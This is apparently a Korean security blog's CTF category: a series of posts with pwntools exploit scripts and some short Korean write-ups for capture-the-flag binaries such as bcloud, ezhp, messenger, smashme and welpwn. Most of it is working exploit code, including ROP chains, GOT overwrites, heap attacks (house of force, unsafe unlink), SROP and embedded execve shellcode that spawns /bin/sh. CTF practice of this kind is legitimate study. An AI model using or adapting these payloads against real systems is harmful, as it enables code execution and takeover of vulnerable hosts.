from pwn import *

r = process("./oneshot")
elf = ELF("./oneshot")

puts_got = elf.got['puts']

r.recv()
payload = str(puts_got)
r.sendline(payload)

r.recvuntil("Value: ")
libc_puts = r.recvuntil("\x0a").replace("\x0a", "")
libc_puts = int(libc_puts, 16)
oneshot = libc_puts - 0x2a47a
log.info("libc_puts = {}".format(hex(libc_puts)))
log.info("oneshot = {}".format(hex(oneshot)))

r.recvuntil("Jump location?")
r.sendline(str(oneshot))

r.interactive()

'CTF' 카테고리의 다른 글

codegate2019 aeiou  (0) 2019.02.23
CSAW2016 tutorial  (0) 2019.02.01
QIWICTF 2016 pwn200  (0) 2019.01.23
SEC-T CTF PingPong  (0) 2018.09.16
BCTF 2016 bcloud  (0) 2018.08.24
from pwn import *

r = process("./task_3")
elf = ELF("./task_3")

read_plt = elf.plt['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
pppr = 0x0804855d
bss = elf.bss()
binsh = "/bin/sh\x00"

payload = "\x90"*140
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(write_got)
payload += p32(6)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

payload += p32(write_plt)
payload += "\x90"*4
payload += p32(bss)

r.sendline(payload)

libc_write = u32(r.recv(4))
libc_system = libc_write - 0x9add0

log.info("libc_write = {}".format(hex(libc_write)))
log.info("libc_system = {}".format(hex(libc_system)))
r.send(p32(libc_system))
r.send(binsh)

r.interactive()

'CTF' 카테고리의 다른 글

CSAW2016 tutorial  (0) 2019.02.01
TJCTF 2016 oneshot  (0) 2019.01.24
SEC-T CTF PingPong  (0) 2018.09.16
BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2014 Babyfirst heap  (0) 2018.08.16
exploit code
from pwn import *
import time

def show_me_the_marimo(name, profile):
	r.sendline("show me the marimo")

	print r.recvuntil(">>")
	r.sendline(name)
	print r.recvuntil(">>")
	r.sendline(profile)
	print r.recvuntil(">>")

def view(select):
	r.sendline("V")
	print r.recvuntil(">>")
	r.sendline(select)

if __name__ == "__main__":
	binary = "./marimo"
	elf = ELF(binary)
	r = process(binary)

	#strcmp_got = elf.got['strcmp']
	puts_got = elf.got['puts']

	print r.recvuntil(">>")

	show_me_the_marimo("A"*4, "B"*4)
	show_me_the_marimo("C"*4, "D"*4)

	time.sleep(3)
	payload = "A"*52
	payload += p32(0x0)
	payload += p64(puts_got)
	#payload += p64(strcmp_got)
	payload += p64(puts_got)

	view("0")
	print r.recvuntil(">>")
	r.sendline("M")
	print r.recvuntil(">>")
	r.sendline(payload)
	#pause()
	print r.recvuntil(">>")
	r.sendline("B")
	print r.recvuntil(">>")

	view("1")
	print r.recvuntil("name : ")
	libc_puts = u64(r.recv(6).ljust(8, "\x00"))

	print r.recvuntil(">>")
	log.info("libc_puts = {}".format(hex(libc_puts)))
	libc_oneshot = libc_puts - 0x2a47a
	log.info("oneshot = {}".format(hex(libc_oneshot)))
	r.sendline("M")
	print r.recvuntil(">>")
	#pause()
	r.sendline(p64(libc_oneshot))
	#pause()

	r.interactive()


'CTF > Codegate' 카테고리의 다른 글

codegate2019 20000  (0) 2019.02.07
CodeGate2018 BaskinRobins31  (0) 2018.07.14
Codegate 2018 RedVelvet writeup  (0) 2018.02.04
from pwn import *

def xor(val):
    lst = []
    for i in range(0, len(val), 2):
        lst.append("0x"+val[i:i+2])

    for i in range(len(lst)):
        if i == 1 or i == 3 or i == 5 or i == 7:
            lst[i] = hex(int(lst[i],16) ^ 0x20)

    for i in range(len(lst)):
        lst[i] = lst[i][2:]

    return int("".join(lst), 16)

if __name__ == "__main__":
	pwn_file = "./pingpong"
	libc_file = "./libc.so.6"

	pwn_elf = ELF(pwn_file)
	r = process(pwn_file)
	libc_elf = ELF(libc_file)
	free_hook_offset = libc_elf.symbols['__free_hook']
	system_offset = 0x380290 # stdout - system
	one_gadget_offset = 0x45216
	binsh_offset = 0x1479c7 # binsh - system
	pop_rdi_offset = 0x0002155f

	log.info("free_hook's offset = {}".format(hex(free_hook_offset)))

	r.sendlineafter("ping:", "A"*56)

	r.recvuntil("Aa"*28)
	libc_stdout = u64(r.recv()[:-1].ljust(8,"\x00"))
	libc_stdout = xor(hex(libc_stdout))
	log.info("libc_stdout = {}".format(hex(libc_stdout)))
	libc_system = libc_stdout - system_offset
	log.info("libc_system = {}".format(hex(libc_system)))
	libc_main = libc_system - 0x24b60
	log.info("libc_main = {}".format(hex(libc_main)))
	binsh = libc_system + binsh_offset
	log.info("/bin/sh = {}".format(hex(binsh)))
	free_hook = libc_system + 0x381418
	log.info("free_hook = {}".format(hex(free_hook)))

	one_gadget = libc_main + one_gadget_offset
	log.info("oneshot gadget = {}".format(hex(one_gadget)))

	payload = "A"*152
	payload += p64(free_hook-0x8)
	r.sendline(payload)
	payload = "/BiN/Sh\x20"
	payload += p64(libc_system)
	r.sendline(payload)
	r.interactive()

'CTF' 카테고리의 다른 글

TJCTF 2016 oneshot  (0) 2019.01.24
QIWICTF 2016 pwn200  (0) 2019.01.23
BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2014 Babyfirst heap  (0) 2018.08.16
Defcon 2017 smashme  (0) 2018.08.12

house of force로 푸는 문제다.


풀다가 이상하게 익스가 안되길래 다른분의 코드를 참고했다.

exploit code

from pwn import *

r = process("./bcloud")
elf = ELF("./bcloud")

print r.recv()
r.send("A"*64)
r.recvuntil("A"*64)
chunk = u32(r.recv(4))

printf_plt = elf.plt['printf']
atoi_got = elf.got['atoi']
topchunk = chunk + 0xd8

house = atoi_got - topchunk - 8 - 4

log.info("exit_got = {}".format(hex(atoi_got)))
log.info("TOP chunk = {}".format(hex(topchunk)))
log.info("house of force = {}".format(hex(house)))


r.recvuntil("Now let's set synchronization options.")

print r.recvuntil("Org:")
r.send("B"*64)

print r.recvuntil("Host:")
r.sendline(p32(0xffffffff)*2)

r.recvuntil(">>")
r.sendline("1")
print r.recvuntil("Input the length of the note content:")
r.sendline(str(house))
print r.recvuntil(">>")
r.sendline("1")
print r.recvuntil("Input the length of the note content:")
r.sendline("8")
print r.recvuntil("Input the content:")
r.sendline("AAAA"+p32(printf_plt))
print r.recv(1024)
r.sendline("%p "*20)
print r.recvuntil("0x10 0xa ")

leaked_addr = int(r.recv(10), 16)
print hex(leaked_addr)
libc_base = leaked_addr - 0x49670 
system = libc_base + 0x3ada0

log.info("libc_base = {}".format(hex(libc_base)))
log.info("system = {}".format(hex(system)))

print r.recvuntil(">>")

r.sendline("333")
print r.recvuntil("id:")
r.sendline("1")
print r.recvuntil("content:")
r.send("AAAA"+p32(system))
print r.recv()
r.sendline("/bin/sh\x00")
r.interactive()


'CTF' 카테고리의 다른 글

QIWICTF 2016 pwn200  (0) 2019.01.23
SEC-T CTF PingPong  (0) 2018.09.16
Defcon 2014 Babyfirst heap  (0) 2018.08.16
Defcon 2017 smashme  (0) 2018.08.12
Plaid 2014 ezhp  (0) 2018.08.12

NX와 aslr만 되어있다.

문제 이름만 놓고 본다면 쉬울것 같으나 데프콘 문제여서 쫄은 상태로 풀기 시작했다.


힙문제는 아직 너무 어려워서 쉬운 문제를 찾다가 풀게 되었는데.. 푸는데 꽤 오래 걸렸다.

근데 풀고 나니 많이 쉬웠던 문제인것 같다.


ida와 gdb로 보면 커스텀 malloc과 free를 사용한다는 것을 알 수 있다.


이 문제는 우선 힙주소를 전부 출력을 해주기 때문에 따로 릭을 할 필요는 없었다.

그리고 사용자에게 입력받는 수는 4096바이트로 꽤나 많은 양의 바이트를 입력받는다.


먼저 내가 입력한 값이 어디에 들어가는지 확인을 해보았다.

memcpy에 bp를 걸고 확인을 해보았더니 size=260인 청크에 들어가게 된다.


다시말해 이 부분을 통해 오버플로우로 다음 청크를 덮어서 fake chunk를 만들면 got overwrite로 문제를 풀 수 있다.


exploit code

from pwn import *

r = process("./babyfirst-heap")
elf = ELF("./babyfirst-heap")

r.recvuntil("[size=755]")
r.recvuntil("loc=")

chunk = "0x"+ r.recv(7)
chunk = int(chunk,16)

log.info("chunk addr = {}".format(hex(chunk)))

puts_got = elf.got['puts']
jmp_code = "\xeb\x0c"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

payload = p32(puts_got-8)
payload += p32(chunk+0x24)
payload += "\x90"*30
payload += jmp_code
payload += "\x90"*191
payload += shellcode
payload += p32(0)
payload += p32(0x378)
payload += p32(0)*65
payload += p32(0x1000)

r.sendline(payload)
r.interactive()


'CTF' 카테고리의 다른 글

SEC-T CTF PingPong  (0) 2018.09.16
BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2017 smashme  (0) 2018.08.12
Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07

보호기법은 aslr외엔 없다.

헥스레이해보면 gets로 bof가 터지는 것을 알 수 있다.


그리고 gets한 변수의 첫 부분에 "Smash me outside, how bout dAAAAAAAAAAA" 문자열이 들어가야 한다.

우선 haystack변수의 위치는 rbp-0x40이므로 rbp+0x8까지 72바이트의 차이가 나므로 72바이트 후 오버플로우 하면 ret를 조작할 수 있다.


근데 이 바이너리는 정적 컴파일이 되어 있고 system, execve함수와 같이 쉘을 실행시킬 수 있는 함수가 없다.


따라서 syscall을 해서 문제를 풀었다.


srop 페이로드는 잘 정리된 문서에 pwntool을 이용하여 간단하게 작성하는 법이 적혀있어서 참고했다.

문서
from pwn import *

r = process("./smashme")
elf = ELF("./smashme")

read = elf.symbols['read']
write = elf.symbols['write']
bss = elf.bss()
pop_rax = 0x4c3b28
pop_rdi = 0x4014d6
pop_rsi = 0x4015f7 
pop_rdx = 0x441e46
pop_rcx = 0x490db3
cmd = "/bin/sh\x00"
syscall = 0x466815 

log.info("bss = {}".format(hex(bss)))

payload = "Smash me outside, how bout dAAAAAAAAAAA"
payload += "A"*33

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(4)
payload += p64(write)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(read)

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(write)

payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall)

frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = bss 
frame.rsp = syscall
frame.rip = syscall

payload += str(frame)

print r.recv()
r.sendline(payload)
print r.recv()
r.sendline(cmd)
print r.recv()
r.interactive()

Ref.https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64

'CTF' 카테고리의 다른 글

BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2014 Babyfirst heap  (0) 2018.08.16
Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01

double free bug문제


보호기법은 아무것도 없다. 쉘코드를 올려서 풀어도 되겠다.


커스텀 add와 커스텀 free이므로 해당 조건에 맞는 상태로 fake chunk를 만들었다.

next chunk를 puts@got-8로 해주었고 이전 청크를 쉘코드가 있는 주소로 넣어주었다.

쉘코드의 맨 앞에는 jump code를 삽입해서 이전 청크가 next chunk의 앞부분에 삽입할 때 익스할 코드로 점프시키도록 했다.


1. 1번메뉴 선택, 사이즈 =10

2. 1번메뉴 선택, 사이즈 = 10

3. 1번메뉴 선택, 사이즈 = 100

4. 3번메뉴 선택, [1]번째 청크에 릭 페이로드 입력, 사이즈 = 20 

5. 4번메뉴 선택, [3]번째 청크 주소 릭 성공

4. 3번메뉴 선택, [2]번째 청크에 쉘코드 입력, 사이즈=100

5. 3번메뉴 선택, [0]번째 청크에 페이로드 입력, 사이즈=30

6. 2번메뉴 선택, [1]번째 청크 free 하여 exploit



exploit code

from pwn import *

def add(size):
	r.recvuntil("Please choose an option.\n")	
	r.sendline("1")
	r.recvuntil("Please give me a size.\n")
	r.sendline(str(size))

def change(id, size, data):
	r.sendline("3")
	r.sendline(str(id))
	r.sendline(str(size))
	r.sendline(data)

def leak_chunk(id):
	r.sendline("4")
	r.sendline(str(id))
	r.recvuntil("AAAAAAAAAAAAAAA\n")
	leaked_chunk = u32(r.recv()[:4])
	return leaked_chunk

def remove(id):
	r.sendline("2")
	r.sendline(str(id))

if __name__ == "__main__":
	shellcode = "\xeb\x0c"
	shellcode += "\x90"*30
	shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

	r = process("./ezhp")
	elf = ELF("./ezhp")
	
	puts_got = elf.got['puts']

	add(10)
	add(10)
	add(100)

	payload = "A"*15 
	change(1, 20, payload)

	third_chunk = leak_chunk(1)
	shell_address = third_chunk - 0x6c 
	log.info("shellcode address = {}".format(hex(shell_address)))
	change(2, 100, shellcode)

	payload = "A"*12
	payload += p32(0xffffffff)
	payload += p32(puts_got - 8)
	payload += p32(shell_address)

	change(0, 30, payload)
	remove(1)

	r.interactive()


'CTF' 카테고리의 다른 글

Defcon 2014 Babyfirst heap  (0) 2018.08.16
Defcon 2017 smashme  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01

 64비트용 바이너리며 ASLR과 카나리만 적용되어있고 nx는 적용되어있지 않다.


실행해보면 메뉴들이 있고 각 메뉴들은 각각의 기능을 한다.


ida로 살펴보자.


main함수다.

각 메뉴의 함수를 보자.

먼저 leave함수다.

size와 msg를 입력받고 커스텀 malloc으로 새로운 메모리를 할당받는다.

커스텀 malloc의 주소는 0x400922다.

그리고 각 메모리에 할당되는 사이즈는32바이트를 넘길 수 없다.


그 다음으론 remove함수다.

remove함수는 할당된 메모리의 인덱스를 입력받아서 해당하는 메모리를 free()해주는 역할을 한다.

여기서도  커스텀 free를 이용해 해제한다.

커스텀 free의 주소는 0x400B2D다.


커스텀 free를 보자.

간략하게 요약하자면

fd + 16 = bk

bk + 8 = fd

이런식이다.


32비트에선 fd + 12이나 64비트이므로 fd + 16이다.


이번엔 change 함수다.

change 함수에선 이미 할당된 메모리에 있는 값을 수정하는 기능을 한다.

미리 말하자면 처음 leave함수에선 size가 32바이트를 넘어가면 메모리 할당을 안해주지만 이 change함수에선 size값을 체크하지 않는다.

이 부분에서 취약점이 터진다.


마지막으로 view함수다.

메모리에 저장된 값을 출력해주는 함수다.


이제 문제를 풀자.

우선 gdb로 bp를 걸고 leave함수부터 봤다.


size에 32를 넣고 msg에 AAAA를 넣은 후 메모리의 상태다.

heap의 시작주소는 0x603000이고 첫번째 할당된 메모리는 0x603018이다.

첫번째 할당된 메모리 청크의 fd와 bk를 보면 각각 fd, bk가 잘 있는것을 확인할 수 있다. 

그리고 두번째 leave함수를 할당해봤다.

size는 똑같이 32에 msg는 BBBB로 주었다.

두번째 청크를 보면 fd와 bk가 또 잘 세팅된 것을 볼 수 있다.

근데 여기서 첫번째 청크를 change함수로 오버플로우를 일으켜서 두번째 청크의 fd와 bk를 조작하면 got overwrite를 통해서 쉘코드를 실행할 수 있다.


익스 과정은 아래와 같다.


1. 첫번째 청크를 오버플로우해 두번째 청크의 fd를 leak해서 heap의 주소를 알아낸다.

2. 오버플로우로 두번째 청크의 fd에 exit@got - 0x10을 넣고 bk에 heap+0xa8을 넣어서 unsafe unlink로 공략. (쉘코드를 heap+0xa8보다 큰 곳에 올려한다.)

3. 첫번째 청크에 오버플로우로 쉘코드를 넣는다.


from pwn import *

def leave(size, msg):
	r.recvuntil(">>")
	r.sendline("L")
	r.recvuntil("size :")
	r.sendline(size)
	r.recvuntil("msg :")
	r.sendline(msg)

def change(index, size, msg):
	r.recvuntil(">>")
	r.sendline("C")
	r.recvuntil("index :")
	r.sendline(index)
	r.recvuntil("size :")
	r.sendline(size)
	r.recvuntil("msg :")
	r.sendline(msg)

def view(index):
	r.recvuntil(">>")
	r.sendline("V")
	r.recvuntil("index :")
	r.sendline(index)

def remove(index):
	r.recvuntil(">>")
	r.sendline("R")
	r.recvuntil("index :")
	r.sendline(index)
	

if __name__ == "__main__":
	shellcode = "\x90"*200
	shellcode += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
	r = process("./messenger")
	e = ELF("./messenger")

	exit_got = e.got['exit']
	log.info("exit@got = {}".format(hex(exit_got)))

	leave("32", "AAAA")
	leave("32", "BBBB")

	payload = "A"*55
	change("0", "100", payload)

	view("0")
	r.recvuntil("\n")
	heap = u64(r.recvuntil("\n")[:-1].ljust(8, "\x00")) - 0xa8
	log.info("heap = {}".format(hex(heap)))

	payload = "a"*56
	payload += p64(exit_got - 0x10)
	payload += p64(heap + 0xa8)
	
	change("0", "100", payload)
	remove("1")

	change("0", "1000", shellcode)
	r.interactive()



'CTF' 카테고리의 다른 글

Defcon 2017 smashme  (0) 2018.08.12
Plaid 2014 ezhp  (0) 2018.08.12
RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31

보호기법은 NX만 걸려있고 64비트다.


일단 실행시켜봤다.

처음에 aa를 입력했는데 입력한 문자열을 출력해주는데 자세히 보면 \n 이후에 ??라는 문자열이 출력되었다.

그 다음은 asdf를 입력했는데 이번엔 출력이 되지 않았다. 뭔가 이상한데 일단 ida로 봐야겠다.

ida로 main()함수를 봤는데 read로 1024바이트를 buf에 입력한다.

하지만 buf의 크기는 딱 1024바이트이므로 오버플로우가 일어나지 않는다...


그 다음 echo()함수로 아까 봤듯이 입력한 buf에 있는 값을 출력해주는 것으로 유추된다.

한번 직접 봐야겠다.


보면 s2[16]이라는 변수가 선언되었고 for문으로 buf의 값을 이곳에 이동시킨다.

그리고 printf()로 s2의 값을 출력하면서 종료된다.

일단 이 함수에서 for문을 통해 스택을 오버플로우를 시킬 수 있다.


잘 보면 먼저 main함수의 스택의 맨 위에 있는 AAAAAAAA가 0x7fffffffdf70에 있고 여기에 있던 값이 for문을 통해 0x7fffffffdf50부터 들어간 것이다.

그리고 ret와의 거리는 24바이트가 차이가 난다.

24바이트의 더미를 입력하고 rop를 하면 문제가 풀릴것처럼 보인다.


하지만 결과는..

rbp+0x8부터 그 이후에 가젯과 여러가지 값들이 전부 복사가 안됐다..


왜 그런가 하면 for문에서 null바이트까지만 값을 받기 때문이다..

rop가 불가능한 것이다.

하지만 역시나 똑똑하신 분들의 라업을 보니 이 불필요한 놈들을 pop 시켜버려서 내가 입력한 가젯까지 esp를 이동시키는 대단한 방법을 사용하셨더라..

즉 다시보면 0x7fffffffdf70부터 0x7fffffffdf88까지를 pop시켜버리면 esp가 0x7fffffffdf90까지 이동하고 0x7fffffffdf90부터 ret를 진행하면 rop가 된다!


이제 총 4개의 pop을 해야하므로 rp++로 pop pop pop pop ret가젯을 찾고, 그 주소를 echo()함수의 ret에 들어가게 한다.

그 다음 rop에 필요한 가젯들을 찾는데..

또 난관이 왔다.


pop rdi ; pop rsi ; pop rdx ; ret ;가 없다..


그래서 라업을 보니까 pop rdi와 pop rsi 가젯을 따로따로 찾아서 rop를 진행했더라..

이렇게 한개씩 한개씩 하면 된다. 근데 또 pop rdx ; 가 없는 게 문제다.

그치만 pop rsi ; pop r15 ; ret ; 가젯은 있는데 다른분들은 이 가젯을 이용해서 풀었더라..

이게 어떻게 가능한지 디버깅을 해서 레지스터를 보니 내가 생각한게 맞는지는 모르지만 거의 맞다고 생각된다.(틀린거면 댓글 달아주세요..)

pop rdx를 하지 않았는데 이미 rdx에 어느정도 큰 수의 값이 들어가 있었다.

rdx에 0x7ffff7dd3780라는 어마한 값이 들어가 있다.

즉 140737351858048바이트를 read할 수 있다는 것이다. 어차피 8바이트정도만 필요하지만 어쨋든 작게 설정된 것보단 좋으니 read()함수의 인자는 충분히 채울 수 있다.


exploit code

from pwn import *

r = process("./welpwn_932a4428ea8d4581431502ab7e66ea4b")
elf = ELF("./welpwn_932a4428ea8d4581431502ab7e66ea4b")
print r.recv()

ppppr = 0x40089c
pop_rdi = 0x004008a3
pop_rsi_r15 = 0x004008a1
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
system_offset = 0x2a300 #puts - system
bss = elf.bss()
cmd = "/bin/sh"

payload = "A"*24
payload += p64(ppppr)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(puts_got)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(puts_plt)

r.sendline(payload)
r.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAA")
r.recv(3)
libc_puts = u64(r.recv(6) + "\x00\x00")
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_system = libc_puts - system_offset
log.info("libc_system = {}".format(hex(libc_system)))

r.sendline(p64(libc_system))
r.sendline(cmd)

r.interactive()



'CTF' 카테고리의 다른 글

Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
EasyCTF2017 Simple ROP  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31
CodeGate2016 watermelon  (0) 2018.07.26

+ Recent posts